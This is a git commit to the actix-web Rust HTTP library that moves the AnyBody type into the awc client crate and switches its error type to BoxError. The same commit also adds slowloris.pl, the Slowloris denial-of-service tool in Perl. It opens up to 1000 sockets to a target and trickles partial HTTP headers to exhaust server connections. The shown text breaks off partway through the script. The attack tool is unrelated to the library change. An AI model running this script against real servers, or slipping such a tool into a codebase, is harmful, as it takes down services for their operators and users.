move any body to awc

This commit is contained in:
Rob Ede 2021-12-02 23:30:37 +00:00
parent 3dd8635ee4
commit bd8adb8288
No known key found for this signature in database
GPG Key ID: 97C636207D3EF933
22 changed files with 548 additions and 132 deletions

View File

@ -10,7 +10,7 @@ use std::{
#[cfg(unix)] #[cfg(unix)]
use std::os::unix::fs::MetadataExt; use std::os::unix::fs::MetadataExt;
use actix_http::body::AnyBody; use actix_http::body;
use actix_service::{Service, ServiceFactory}; use actix_service::{Service, ServiceFactory};
use actix_web::{ use actix_web::{
body::BoxBody, body::BoxBody,
@ -530,7 +530,7 @@ impl NamedFile {
} else if not_modified { } else if not_modified {
return resp return resp
.status(StatusCode::NOT_MODIFIED) .status(StatusCode::NOT_MODIFIED)
.body(AnyBody::<()>::None) .body(body::None::new())
.map_into_boxed_body(); .map_into_boxed_body();
} }

View File

@ -1,14 +1,14 @@
use std::io; use std::io;
use actix_http::{ use actix_http::{
body::BoxBody, http::HeaderValue, http::StatusCode, Error, HttpService, Request, body::MessageBody, http::HeaderValue, http::StatusCode, Error, HttpService, Request,
Response, Response,
}; };
use actix_server::Server; use actix_server::Server;
use bytes::BytesMut; use bytes::BytesMut;
use futures_util::StreamExt as _; use futures_util::StreamExt as _;
async fn handle_request(mut req: Request) -> Result<Response<BoxBody>, Error> { async fn handle_request(mut req: Request) -> Result<Response<impl MessageBody>, Error> {
let mut body = BytesMut::new(); let mut body = BytesMut::new();
while let Some(item) = req.payload().next().await { while let Some(item) = req.payload().next().await {
body.extend_from_slice(&item?) body.extend_from_slice(&item?)
@ -18,8 +18,7 @@ async fn handle_request(mut req: Request) -> Result<Response<BoxBody>, Error> {
Ok(Response::build(StatusCode::OK) Ok(Response::build(StatusCode::OK)
.insert_header(("x-head", HeaderValue::from_static("dummy value!"))) .insert_header(("x-head", HeaderValue::from_static("dummy value!")))
.body(body) .body(body))
.map_into_boxed_body())
} }
#[actix_rt::main] #[actix_rt::main]

View File

@ -1,7 +1,5 @@
//! Traits and structures to aid consuming and writing HTTP payloads. //! Traits and structures to aid consuming and writing HTTP payloads.
#[allow(clippy::module_inception)]
mod body;
mod body_stream; mod body_stream;
mod boxed; mod boxed;
mod either; mod either;
@ -11,9 +9,6 @@ mod size;
mod sized_stream; mod sized_stream;
mod utils; mod utils;
pub use self::body::AnyBody;
#[allow(deprecated)]
pub use self::body::Body;
pub use self::body_stream::BodyStream; pub use self::body_stream::BodyStream;
pub use self::boxed::BoxBody; pub use self::boxed::BoxBody;
pub use self::either::EitherBody; pub use self::either::EitherBody;
@ -32,25 +27,15 @@ mod tests {
use actix_utils::future::poll_fn; use actix_utils::future::poll_fn;
use bytes::{Bytes, BytesMut}; use bytes::{Bytes, BytesMut};
use super::{AnyBody as TestAnyBody, *}; use super::*;
impl TestAnyBody {
pub(crate) fn get_ref(&self) -> &[u8] {
match *self {
AnyBody::Bytes { ref body } => body,
_ => panic!(),
}
}
}
/// AnyBody alias because rustc does not (can not?) infer the default type parameter. /// AnyBody alias because rustc does not (can not?) infer the default type parameter.
type AnyBody = TestAnyBody; type AnyBody = Bytes;
#[actix_rt::test] #[actix_rt::test]
async fn test_static_str() { async fn test_static_str() {
assert_eq!(AnyBody::from("").size(), BodySize::Sized(0)); assert_eq!(AnyBody::from("").size(), BodySize::Sized(0));
assert_eq!(AnyBody::from("test").size(), BodySize::Sized(4)); assert_eq!(AnyBody::from("test").size(), BodySize::Sized(4));
assert_eq!(AnyBody::from("test").get_ref(), b"test");
assert_eq!("test".size(), BodySize::Sized(4)); assert_eq!("test".size(), BodySize::Sized(4));
assert_eq!( assert_eq!(
@ -65,15 +50,10 @@ mod tests {
#[actix_rt::test] #[actix_rt::test]
async fn test_static_bytes() { async fn test_static_bytes() {
assert_eq!(AnyBody::from(b"test".as_ref()).size(), BodySize::Sized(4)); assert_eq!(AnyBody::from(b"test".as_ref()).size(), BodySize::Sized(4));
assert_eq!(AnyBody::from(b"test".as_ref()).get_ref(), b"test");
assert_eq!( assert_eq!(
AnyBody::copy_from_slice(b"test".as_ref()).size(), AnyBody::copy_from_slice(b"test".as_ref()).size(),
BodySize::Sized(4) BodySize::Sized(4)
); );
assert_eq!(
AnyBody::copy_from_slice(b"test".as_ref()).get_ref(),
b"test"
);
let sb = Bytes::from(&b"test"[..]); let sb = Bytes::from(&b"test"[..]);
pin!(sb); pin!(sb);
@ -87,7 +67,6 @@ mod tests {
#[actix_rt::test] #[actix_rt::test]
async fn test_vec() { async fn test_vec() {
assert_eq!(AnyBody::from(Vec::from("test")).size(), BodySize::Sized(4)); assert_eq!(AnyBody::from(Vec::from("test")).size(), BodySize::Sized(4));
assert_eq!(AnyBody::from(Vec::from("test")).get_ref(), b"test");
let test_vec = Vec::from("test"); let test_vec = Vec::from("test");
pin!(test_vec); pin!(test_vec);
@ -105,7 +84,7 @@ mod tests {
async fn test_bytes() { async fn test_bytes() {
let b = Bytes::from("test"); let b = Bytes::from("test");
assert_eq!(AnyBody::from(b.clone()).size(), BodySize::Sized(4)); assert_eq!(AnyBody::from(b.clone()).size(), BodySize::Sized(4));
assert_eq!(AnyBody::from(b.clone()).get_ref(), b"test");
pin!(b); pin!(b);
assert_eq!(b.size(), BodySize::Sized(4)); assert_eq!(b.size(), BodySize::Sized(4));
@ -119,7 +98,6 @@ mod tests {
async fn test_bytes_mut() { async fn test_bytes_mut() {
let b = BytesMut::from("test"); let b = BytesMut::from("test");
assert_eq!(AnyBody::from(b.clone()).size(), BodySize::Sized(4)); assert_eq!(AnyBody::from(b.clone()).size(), BodySize::Sized(4));
assert_eq!(AnyBody::from(b.clone()).get_ref(), b"test");
pin!(b); pin!(b);
assert_eq!(b.size(), BodySize::Sized(4)); assert_eq!(b.size(), BodySize::Sized(4));
@ -133,11 +111,9 @@ mod tests {
async fn test_string() { async fn test_string() {
let b = "test".to_owned(); let b = "test".to_owned();
assert_eq!(AnyBody::from(b.clone()).size(), BodySize::Sized(4)); assert_eq!(AnyBody::from(b.clone()).size(), BodySize::Sized(4));
assert_eq!(AnyBody::from(b.clone()).get_ref(), b"test"); // assert_eq!(AnyBody::from(&b).size(), BodySize::Sized(4));
assert_eq!(AnyBody::from(&b).size(), BodySize::Sized(4));
assert_eq!(AnyBody::from(&b).get_ref(), b"test");
pin!(b);
pin!(b);
assert_eq!(b.size(), BodySize::Sized(4)); assert_eq!(b.size(), BodySize::Sized(4));
assert_eq!( assert_eq!(
poll_fn(|cx| b.as_mut().poll_next(cx)).await.unwrap().ok(), poll_fn(|cx| b.as_mut().poll_next(cx)).await.unwrap().ok(),
@ -165,29 +141,6 @@ mod tests {
assert!(poll_fn(|cx| val.as_mut().poll_next(cx)).await.is_none()); assert!(poll_fn(|cx| val.as_mut().poll_next(cx)).await.is_none());
} }
#[actix_rt::test]
async fn test_body_eq() {
assert!(
AnyBody::Bytes {
body: Bytes::from_static(b"1")
} == AnyBody::Bytes {
body: Bytes::from_static(b"1")
}
);
assert!(
AnyBody::Bytes {
body: Bytes::from_static(b"1")
} != AnyBody::None
);
}
#[actix_rt::test]
async fn test_body_debug() {
assert!(format!("{:?}", AnyBody::None).contains("Body::None"));
assert!(format!("{:?}", AnyBody::from(Bytes::from_static(b"1"))).contains('1'));
}
#[actix_rt::test] #[actix_rt::test]
async fn test_serde_json() { async fn test_serde_json() {
use serde_json::{json, Value}; use serde_json::{json, Value};

View File

@ -13,15 +13,15 @@ use super::{BodySize, MessageBody};
/// ///
/// # Examples /// # Examples
/// ``` /// ```
/// use actix_http::body::{AnyBody, to_bytes}; /// use actix_http::body::{self, to_bytes};
/// use bytes::Bytes; /// use bytes::Bytes;
/// ///
/// # async fn test_to_bytes() { /// # async fn test_to_bytes() {
/// let body = AnyBody::none(); /// let body = body::None::new();
/// let bytes = to_bytes(body).await.unwrap(); /// let bytes = to_bytes(body).await.unwrap();
/// assert!(bytes.is_empty()); /// assert!(bytes.is_empty());
/// ///
/// let body = AnyBody::copy_from_slice(b"123"); /// let body = Bytes::from_static(b"123");
/// let bytes = to_bytes(body).await.unwrap(); /// let bytes = to_bytes(body).await.unwrap();
/// assert_eq!(bytes, b"123"[..]); /// assert_eq!(bytes, b"123"[..]);
/// # } /// # }

View File

@ -132,12 +132,6 @@ impl From<std::convert::Infallible> for Error {
} }
} }
impl From<ws::ProtocolError> for Error {
fn from(err: ws::ProtocolError) -> Self {
Self::new_ws().with_cause(err)
}
}
impl From<HttpError> for Error { impl From<HttpError> for Error {
fn from(err: HttpError) -> Self { fn from(err: HttpError) -> Self {
Self::new_http().with_cause(err) Self::new_http().with_cause(err)
@ -150,6 +144,12 @@ impl From<ws::HandshakeError> for Error {
} }
} }
impl From<ws::ProtocolError> for Error {
fn from(err: ws::ProtocolError) -> Self {
Self::new_ws().with_cause(err)
}
}
/// A set of errors that can occur during parsing HTTP streams. /// A set of errors that can occur during parsing HTTP streams.
#[derive(Debug, Display, Error)] #[derive(Debug, Display, Error)]
#[non_exhaustive] #[non_exhaustive]

View File

@ -344,8 +344,9 @@ impl fmt::Debug for ResponseBuilder {
#[cfg(test)] #[cfg(test)]
mod tests { mod tests {
use bytes::Bytes;
use super::*; use super::*;
use crate::body::AnyBody;
use crate::http::header::{HeaderName, HeaderValue, CONTENT_TYPE}; use crate::http::header::{HeaderName, HeaderValue, CONTENT_TYPE};
#[test] #[test]
@ -378,7 +379,7 @@ mod tests {
fn test_content_type() { fn test_content_type() {
let resp = Response::build(StatusCode::OK) let resp = Response::build(StatusCode::OK)
.content_type("text/plain") .content_type("text/plain")
.body(AnyBody::empty()); .body(Bytes::new());
assert_eq!(resp.headers().get(CONTENT_TYPE).unwrap(), "text/plain") assert_eq!(resp.headers().get(CONTENT_TYPE).unwrap(), "text/plain")
} }

View File

@ -105,6 +105,7 @@ brotli2 = "0.3.2"
env_logger = "0.9" env_logger = "0.9"
flate2 = "1.0.13" flate2 = "1.0.13"
futures-util = { version = "0.3.7", default-features = false } futures-util = { version = "0.3.7", default-features = false }
static_assertions = "1.1"
rcgen = "0.8" rcgen = "0.8"
rustls-pemfile = "0.2" rustls-pemfile = "0.2"

View File

@ -10,12 +10,7 @@ use bytes::{Bytes, BytesMut};
use futures_core::Stream; use futures_core::Stream;
use pin_project_lite::pin_project; use pin_project_lite::pin_project;
use super::{BodySize, BodyStream, BoxBody, MessageBody, SizedStream}; use actix_http::body::{BodySize, BodyStream, BoxBody, MessageBody, SizedStream};
use crate::error::Error;
/// (Deprecated) Represents various types of HTTP message body.
#[deprecated(since = "4.0.0", note = "Renamed to `AnyBody`.")]
pub type Body = AnyBody;
pin_project! { pin_project! {
/// Represents various types of HTTP message body. /// Represents various types of HTTP message body.
@ -96,7 +91,7 @@ impl<B> MessageBody for AnyBody<B>
where where
B: MessageBody, B: MessageBody,
{ {
type Error = Error; type Error = crate::BoxError;
fn size(&self) -> BodySize { fn size(&self) -> BodySize {
match self { match self {
@ -121,9 +116,7 @@ where
} }
} }
AnyBodyProj::Body { body } => body AnyBodyProj::Body { body } => body.poll_next(cx).map_err(|err| err.into()),
.poll_next(cx)
.map_err(|err| Error::new_body().with_cause(err)),
} }
} }
} }
@ -267,7 +260,7 @@ mod tests {
struct PinType(PhantomPinned); struct PinType(PhantomPinned);
impl MessageBody for PinType { impl MessageBody for PinType {
type Error = crate::Error; type Error = crate::BoxError;
fn size(&self) -> BodySize { fn size(&self) -> BodySize {
unimplemented!() unimplemented!()

View File

@ -12,9 +12,9 @@ use bytes::Bytes;
use futures_core::future::LocalBoxFuture; use futures_core::future::LocalBoxFuture;
use h2::client::SendRequest; use h2::client::SendRequest;
use actix_http::{ use actix_http::{body::MessageBody, h1::ClientCodec, Payload, RequestHeadType, ResponseHead};
body::MessageBody, h1::ClientCodec, Error, Payload, RequestHeadType, ResponseHead,
}; use crate::BoxError;
use super::error::SendRequestError; use super::error::SendRequestError;
use super::pool::Acquired; use super::pool::Acquired;
@ -254,7 +254,7 @@ where
where where
H: Into<RequestHeadType> + 'static, H: Into<RequestHeadType> + 'static,
RB: MessageBody + 'static, RB: MessageBody + 'static,
RB::Error: Into<Error>, RB::Error: Into<BoxError>,
{ {
Box::pin(async move { Box::pin(async move {
match self { match self {

View File

@ -2,12 +2,12 @@ use std::{error::Error as StdError, fmt, io};
use derive_more::{Display, From}; use derive_more::{Display, From};
use actix_http::{ use actix_http::{error::ParseError, http::Error as HttpError};
error::{Error, ParseError},
http::Error as HttpError,
};
#[cfg(feature = "openssl")] #[cfg(feature = "openssl")]
use actix_tls::accept::openssl::reexports::Error as OpenSslError; use actix_tls::accept::openssl::reexports::Error as OpensslError;
use crate::BoxError;
/// A set of errors that can occur while connecting to an HTTP host /// A set of errors that can occur while connecting to an HTTP host
#[derive(Debug, Display, From)] #[derive(Debug, Display, From)]
@ -20,7 +20,7 @@ pub enum ConnectError {
/// SSL error /// SSL error
#[cfg(feature = "openssl")] #[cfg(feature = "openssl")]
#[display(fmt = "{}", _0)] #[display(fmt = "{}", _0)]
SslError(OpenSslError), SslError(OpensslError),
/// Failed to resolve the hostname /// Failed to resolve the hostname
#[display(fmt = "Failed resolving hostname: {}", _0)] #[display(fmt = "Failed resolving hostname: {}", _0)]
@ -118,7 +118,7 @@ pub enum SendRequestError {
TunnelNotSupported, TunnelNotSupported,
/// Error sending request body /// Error sending request body
Body(Error), Body(BoxError),
/// Other errors that can occur after submitting a request. /// Other errors that can occur after submitting a request.
#[display(fmt = "{:?}: {}", _1, _0)] #[display(fmt = "{:?}: {}", _1, _0)]

View File

@ -13,7 +13,7 @@ use actix_http::{
header::{HeaderMap, IntoHeaderValue, EXPECT, HOST}, header::{HeaderMap, IntoHeaderValue, EXPECT, HOST},
StatusCode, StatusCode,
}, },
Error, Payload, RequestHeadType, ResponseHead, Payload, RequestHeadType, ResponseHead,
}; };
use actix_utils::future::poll_fn; use actix_utils::future::poll_fn;
use bytes::buf::BufMut; use bytes::buf::BufMut;
@ -22,6 +22,8 @@ use futures_core::{ready, Stream};
use futures_util::SinkExt as _; use futures_util::SinkExt as _;
use pin_project_lite::pin_project; use pin_project_lite::pin_project;
use crate::BoxError;
use super::connection::{ConnectionIo, H1Connection}; use super::connection::{ConnectionIo, H1Connection};
use super::error::{ConnectError, SendRequestError}; use super::error::{ConnectError, SendRequestError};
@ -33,7 +35,7 @@ pub(crate) async fn send_request<Io, B>(
where where
Io: ConnectionIo, Io: ConnectionIo,
B: MessageBody, B: MessageBody,
B::Error: Into<Error>, B::Error: Into<BoxError>,
{ {
// set request host header // set request host header
if !head.as_ref().headers.contains_key(HOST) if !head.as_ref().headers.contains_key(HOST)
@ -155,7 +157,7 @@ pub(crate) async fn send_body<Io, B>(
where where
Io: ConnectionIo, Io: ConnectionIo,
B: MessageBody, B: MessageBody,
B::Error: Into<Error>, B::Error: Into<BoxError>,
{ {
actix_rt::pin!(body); actix_rt::pin!(body);
@ -166,7 +168,7 @@ where
Some(Ok(chunk)) => { Some(Ok(chunk)) => {
framed.as_mut().write(h1::Message::Chunk(Some(chunk)))?; framed.as_mut().write(h1::Message::Chunk(Some(chunk)))?;
} }
Some(Err(err)) => return Err(err.into().into()), Some(Err(err)) => return Err(SendRequestError::Body(err.into())),
None => { None => {
eof = true; eof = true;
framed.as_mut().write(h1::Message::Chunk(None))?; framed.as_mut().write(h1::Message::Chunk(None))?;

View File

@ -13,9 +13,11 @@ use log::trace;
use actix_http::{ use actix_http::{
body::{BodySize, MessageBody}, body::{BodySize, MessageBody},
header::HeaderMap, header::HeaderMap,
Error, Payload, RequestHeadType, ResponseHead, Payload, RequestHeadType, ResponseHead,
}; };
use crate::BoxError;
use super::{ use super::{
config::ConnectorConfig, config::ConnectorConfig,
connection::{ConnectionIo, H2Connection}, connection::{ConnectionIo, H2Connection},
@ -30,7 +32,7 @@ pub(crate) async fn send_request<Io, B>(
where where
Io: ConnectionIo, Io: ConnectionIo,
B: MessageBody, B: MessageBody,
B::Error: Into<Error>, B::Error: Into<BoxError>,
{ {
trace!("Sending client request: {:?} {:?}", head, body.size()); trace!("Sending client request: {:?} {:?}", head, body.size());
@ -133,10 +135,12 @@ where
async fn send_body<B>(body: B, mut send: SendStream<Bytes>) -> Result<(), SendRequestError> async fn send_body<B>(body: B, mut send: SendStream<Bytes>) -> Result<(), SendRequestError>
where where
B: MessageBody, B: MessageBody,
B::Error: Into<Error>, B::Error: Into<BoxError>,
{ {
let mut buf = None; let mut buf = None;
actix_rt::pin!(body); actix_rt::pin!(body);
loop { loop {
if buf.is_none() { if buf.is_none() {
match poll_fn(|cx| body.as_mut().poll_next(cx)).await { match poll_fn(|cx| body.as_mut().poll_next(cx)).await {
@ -144,10 +148,10 @@ where
send.reserve_capacity(b.len()); send.reserve_capacity(b.len());
buf = Some(b); buf = Some(b);
} }
Some(Err(e)) => return Err(e.into().into()), Some(Err(err)) => return Err(SendRequestError::Body(err.into())),
None => { None => {
if let Err(e) = send.send_data(Bytes::new(), true) { if let Err(err) = send.send_data(Bytes::new(), true) {
return Err(e.into()); return Err(err.into());
} }
send.reserve_capacity(0); send.reserve_capacity(0);
return Ok(()); return Ok(());

View File

@ -7,16 +7,17 @@ use std::{
}; };
use actix_codec::Framed; use actix_codec::Framed;
use actix_http::{ use actix_http::{h1::ClientCodec, Payload, RequestHead, RequestHeadType, ResponseHead};
body::AnyBody, h1::ClientCodec, Payload, RequestHead, RequestHeadType, ResponseHead,
};
use actix_service::Service; use actix_service::Service;
use futures_core::{future::LocalBoxFuture, ready}; use futures_core::{future::LocalBoxFuture, ready};
use crate::client::{ use crate::{
Connect as ClientConnect, ConnectError, Connection, ConnectionIo, SendRequestError, any_body::AnyBody,
client::{
Connect as ClientConnect, ConnectError, Connection, ConnectionIo, SendRequestError,
},
response::ClientResponse,
}; };
use crate::response::ClientResponse;
pub type BoxConnectorService = Rc< pub type BoxConnectorService = Rc<
dyn Service< dyn Service<

View File

@ -11,6 +11,8 @@ use serde_json::error::Error as JsonError;
pub use crate::client::{ConnectError, FreezeRequestError, InvalidUrl, SendRequestError}; pub use crate::client::{ConnectError, FreezeRequestError, InvalidUrl, SendRequestError};
// TODO: address display, error, and from impls
/// Websocket client error /// Websocket client error
#[derive(Debug, Display, From)] #[derive(Debug, Display, From)]
pub enum WsClientError { pub enum WsClientError {

View File

@ -5,12 +5,12 @@ use futures_core::Stream;
use serde::Serialize; use serde::Serialize;
use actix_http::{ use actix_http::{
body::AnyBody,
http::{header::IntoHeaderValue, Error as HttpError, HeaderMap, HeaderName, Method, Uri}, http::{header::IntoHeaderValue, Error as HttpError, HeaderMap, HeaderName, Method, Uri},
RequestHead, RequestHead,
}; };
use crate::{ use crate::{
any_body::AnyBody,
sender::{RequestSender, SendClientRequest}, sender::{RequestSender, SendClientRequest},
ClientConfig, ClientConfig,
}; };

View File

@ -104,6 +104,7 @@
#![doc(html_logo_url = "https://actix.rs/img/logo.png")] #![doc(html_logo_url = "https://actix.rs/img/logo.png")]
#![doc(html_favicon_url = "https://actix.rs/favicon.ico")] #![doc(html_favicon_url = "https://actix.rs/favicon.ico")]
mod any_body;
mod builder; mod builder;
mod client; mod client;
mod connect; mod connect;
@ -139,6 +140,8 @@ use actix_service::Service;
use self::client::{ConnectInfo, TcpConnectError, TcpConnection}; use self::client::{ConnectInfo, TcpConnectError, TcpConnection};
pub(crate) type BoxError = Box<dyn std::error::Error>;
/// An asynchronous HTTP and WebSocket client. /// An asynchronous HTTP and WebSocket client.
/// ///
/// You should take care to create, at most, one `Client` per thread. Otherwise, expect higher CPU /// You should take care to create, at most, one `Client` per thread. Otherwise, expect higher CPU

View File

@ -8,7 +8,6 @@ use std::{
}; };
use actix_http::{ use actix_http::{
body::AnyBody,
http::{header, Method, StatusCode, Uri}, http::{header, Method, StatusCode, Uri},
RequestHead, RequestHeadType, RequestHead, RequestHeadType,
}; };
@ -17,10 +16,12 @@ use bytes::Bytes;
use futures_core::ready; use futures_core::ready;
use super::Transform; use super::Transform;
use crate::{
use crate::client::{InvalidUrl, SendRequestError}; any_body::AnyBody,
use crate::connect::{ConnectRequest, ConnectResponse}; client::{InvalidUrl, SendRequestError},
use crate::ClientResponse; connect::{ConnectRequest, ConnectResponse},
ClientResponse,
};
pub struct Redirect { pub struct Redirect {
max_redirect_times: u8, max_redirect_times: u8,

View File

@ -5,7 +5,6 @@ use futures_core::Stream;
use serde::Serialize; use serde::Serialize;
use actix_http::{ use actix_http::{
body::AnyBody,
http::{ http::{
header::{self, IntoHeaderPair}, header::{self, IntoHeaderPair},
ConnectionType, Error as HttpError, HeaderMap, HeaderValue, Method, Uri, Version, ConnectionType, Error as HttpError, HeaderMap, HeaderValue, Method, Uri, Version,
@ -13,15 +12,17 @@ use actix_http::{
RequestHead, RequestHead,
}; };
#[cfg(feature = "cookies")]
use crate::cookie::{Cookie, CookieJar};
use crate::{ use crate::{
any_body::AnyBody,
error::{FreezeRequestError, InvalidUrl}, error::{FreezeRequestError, InvalidUrl},
frozen::FrozenClientRequest, frozen::FrozenClientRequest,
sender::{PrepForSendingError, RequestSender, SendClientRequest}, sender::{PrepForSendingError, RequestSender, SendClientRequest},
ClientConfig, ClientConfig,
}; };
#[cfg(feature = "cookies")]
use crate::cookie::{Cookie, CookieJar};
/// An HTTP Client request builder /// An HTTP Client request builder
/// ///
/// This type can be used to construct an instance of `ClientRequest` through a /// This type can be used to construct an instance of `ClientRequest` through a

View File

@ -9,12 +9,12 @@ use std::{
}; };
use actix_http::{ use actix_http::{
body::{AnyBody, BodyStream}, body::BodyStream,
http::{ http::{
header::{self, HeaderMap, HeaderName, IntoHeaderValue}, header::{self, HeaderMap, HeaderName, IntoHeaderValue},
Error as HttpError, Error as HttpError,
}, },
Error, RequestHead, RequestHeadType, RequestHead, RequestHeadType,
}; };
use actix_rt::time::{sleep, Sleep}; use actix_rt::time::{sleep, Sleep};
use bytes::Bytes; use bytes::Bytes;
@ -26,6 +26,7 @@ use serde::Serialize;
use actix_http::{encoding::Decoder, http::header::ContentEncoding, Payload, PayloadStream}; use actix_http::{encoding::Decoder, http::header::ContentEncoding, Payload, PayloadStream};
use crate::{ use crate::{
any_body::AnyBody,
error::{FreezeRequestError, InvalidUrl, SendRequestError}, error::{FreezeRequestError, InvalidUrl, SendRequestError},
ClientConfig, ClientResponse, ConnectRequest, ConnectResponse, ClientConfig, ClientResponse, ConnectRequest, ConnectResponse,
}; };
@ -162,12 +163,6 @@ impl From<SendRequestError> for SendClientRequest {
} }
} }
impl From<Error> for SendClientRequest {
fn from(e: Error) -> Self {
SendClientRequest::Err(Some(e.into()))
}
}
impl From<HttpError> for SendClientRequest { impl From<HttpError> for SendClientRequest {
fn from(e: HttpError) -> Self { fn from(e: HttpError) -> Self {
SendClientRequest::Err(Some(e.into())) SendClientRequest::Err(Some(e.into()))

463
slowloris.pl Executable file
View File

@ -0,0 +1,463 @@
#!/usr/bin/perl -w
use strict;
use IO::Socket::INET;
use IO::Socket::SSL;
use Getopt::Long;
use Config;
$SIG{'PIPE'} = 'IGNORE'; #Ignore broken pipe errors
print <<EOTEXT;
CCCCCCCCCCOOCCOOOOO888\@8\@8888OOOOCCOOO888888888\@\@\@\@\@\@\@\@\@8\@8\@\@\@\@888OOCooocccc::::
CCCCCCCCCCCCCCCOO888\@888888OOOCCCOOOO888888888888\@88888\@\@\@\@\@\@\@888\@8OOCCoococc:::
CCCCCCCCCCCCCCOO88\@\@888888OOOOOOOOOO8888888O88888888O8O8OOO8888\@88\@\@8OOCOOOCoc::
CCCCooooooCCCO88\@\@8\@88\@888OOOOOOO88888888888OOOOOOOOOOCCCCCOOOO888\@8888OOOCc::::
CooCoCoooCCCO8\@88\@8888888OOO888888888888888888OOOOCCCooooooooCCOOO8888888Cocooc:
ooooooCoCCC88\@88888\@888OO8888888888888888O8O8888OOCCCooooccccccCOOOO88\@888OCoccc
ooooCCOO8O888888888\@88O8OO88888OO888O8888OOOO88888OCocoococ::ccooCOO8O888888Cooo
oCCCCCCO8OOOCCCOO88\@88OOOOOO8888O888OOOOOCOO88888O8OOOCooCocc:::coCOOO888888OOCC
oCCCCCOOO88OCooCO88\@8OOOOOO88O888888OOCCCCoCOOO8888OOOOOOOCoc::::coCOOOO888O88OC
oCCCCOO88OOCCCCOO8\@\@8OOCOOOOO8888888OoocccccoCO8O8OO88OOOOOCc.:ccooCCOOOO88888OO
CCCOOOO88OOCCOOO8\@888OOCCoooCOO8888Ooc::...::coOO88888O888OOo:cocooCCCCOOOOOO88O
CCCOO88888OOCOO8\@\@888OCcc:::cCOO888Oc..... ....cCOOOOOOOOOOOc.:cooooCCCOOOOOOOOO
OOOOOO88888OOOO8\@8\@8Ooc:.:...cOO8O88c. . .coOOO888OOOOCoooooccoCOOOOOCOOOO
OOOOO888\@8\@88888888Oo:. . ...cO888Oc.. :oOOOOOOOOOCCoocooCoCoCOOOOOOOO
COOO888\@88888888888Oo:. .O8888C: .oCOo. ...cCCCOOOoooooocccooooooooCCCOO
CCCCOO888888O888888Oo. .o8Oo. .cO88Oo: :. .:..ccoCCCooCooccooccccoooooCCCC
coooCCO8\@88OO8O888Oo:::... .. :cO8Oc. . ..... :. .:ccCoooooccoooocccccooooCCC
:ccooooCO888OOOO8OOc..:...::. .co8\@8Coc::.. .... ..:cooCooooccccc::::ccooCCooC
.:::coocccoO8OOOOOOC:..::....coCO8\@8OOCCOc:... ....:ccoooocccc:::::::::cooooooC
....::::ccccoCCOOOOOCc......:oCO8\@8\@88OCCCoccccc::c::.:oCcc:::cccc:..::::coooooo
.......::::::::cCCCCCCoocc:cO888\@8888OOOOCOOOCoocc::.:cocc::cc:::...:::coocccccc
...........:::..:coCCCCCCCO88OOOO8OOOCCooCCCooccc::::ccc::::::.......:ccocccc:co
.............::....:oCCoooooCOOCCOCCCoccococc:::::coc::::....... ...:::cccc:cooo
..... ............. .coocoooCCoco:::ccccccc:::ccc::.......... ....:::cc::::coC
. . ... .... .. .:cccoCooc:.. ::cccc:::c:.. ......... ......::::c:cccco
. .. ... .. .. .. ..:...:cooc::cccccc:..... ......... .....:::::ccoocc
. . .. ..::cccc:.::ccoocc:. ........... .. . ..:::.:::::::ccco
Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client
EOTEXT
my ( $host, $port, $sendhost, $shost, $test, $version, $timeout, $connections );
my ( $cache, $httpready, $method, $ssl, $rand, $tcpto );
my $result = GetOptions(
'shost=s' => \$shost,
'dns=s' => \$host,
'httpready' => \$httpready,
'num=i' => \$connections,
'cache' => \$cache,
'port=i' => \$port,
'https' => \$ssl,
'tcpto=i' => \$tcpto,
'test' => \$test,
'timeout=i' => \$timeout,
'version' => \$version,
);
if ($version) {
print "Version 0.7\n";
exit;
}
unless ($host) {
print "Usage:\n\n\tperl $0 -dns [www.example.com] -options\n";
print "\n\tType 'perldoc $0' for help with options.\n\n";
exit;
}
unless ($port) {
$port = 80;
print "Defaulting to port 80.\n";
}
unless ($tcpto) {
$tcpto = 5;
print "Defaulting to a 5 second tcp connection timeout.\n";
}
unless ($test) {
unless ($timeout) {
$timeout = 100;
print "Defaulting to a 100 second re-try timeout.\n";
}
unless ($connections) {
$connections = 1000;
print "Defaulting to 1000 connections.\n";
}
}
my $usemultithreading = 0;
if ( $Config{usethreads} ) {
print "Multithreading enabled.\n";
$usemultithreading = 1;
use threads;
use threads::shared;
}
else {
print "No multithreading capabilites found!\n";
print "Slowloris will be slower than normal as a result.\n";
}
my $packetcount : shared = 0;
my $failed : shared = 0;
my $connectioncount : shared = 0;
srand() if ($cache);
if ($shost) {
$sendhost = $shost;
}
else {
$sendhost = $host;
}
if ($httpready) {
$method = "POST";
}
else {
$method = "GET";
}
if ($test) {
my @times = ( "2", "30", "90", "240", "500" );
my $totaltime = 0;
foreach (@times) {
$totaltime = $totaltime + $_;
}
$totaltime = $totaltime / 60;
print "This test could take up to $totaltime minutes.\n";
my $delay = 0;
my $working = 0;
my $sock;
if ($ssl) {
if (
$sock = new IO::Socket::SSL(
PeerAddr => "$host",
PeerPort => "$port",
Timeout => "$tcpto",
Proto => "tcp",
)
)
{
$working = 1;
}
}
else {
if (
$sock = new IO::Socket::INET(
PeerAddr => "$host",
PeerPort => "$port",
Timeout => "$tcpto",
Proto => "tcp",
)
)
{
$working = 1;
}
}
if ($working) {
if ($cache) {
$rand = "?" . int( rand(99999999999999) );
}
else {
$rand = "";
}
my $primarypayload =
"GET /$rand HTTP/1.1\r\n"
. "Host: $sendhost\r\n"
. "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
. "Content-Length: 42\r\n";
if ( print $sock $primarypayload ) {
print "Connection successful, now comes the waiting game...\n";
}
else {
print
"That's odd - I connected but couldn't send the data to $host:$port.\n";
print "Is something wrong?\nDying.\n";
exit;
}
}
else {
print "Uhm... I can't connect to $host:$port.\n";
print "Is something wrong?\nDying.\n";
exit;
}
for ( my $i = 0 ; $i <= $#times ; $i++ ) {
print "Trying a $times[$i] second delay: \n";
sleep( $times[$i] );
if ( print $sock "X-a: b\r\n" ) {
print "\tWorked.\n";
$delay = $times[$i];
}
else {
if ( $SIG{__WARN__} ) {
$delay = $times[ $i - 1 ];
last;
}
print "\tFailed after $times[$i] seconds.\n";
}
}
if ( print $sock "Connection: Close\r\n\r\n" ) {
print "Okay that's enough time. Slowloris closed the socket.\n";
print "Use $delay seconds for -timeout.\n";
exit;
}
else {
print "Remote server closed socket.\n";
print "Use $delay seconds for -timeout.\n";
exit;
}
if ( $delay < 166 ) {
print <<EOSUCKS2BU;
Since the timeout ended up being so small ($delay seconds) and it generally
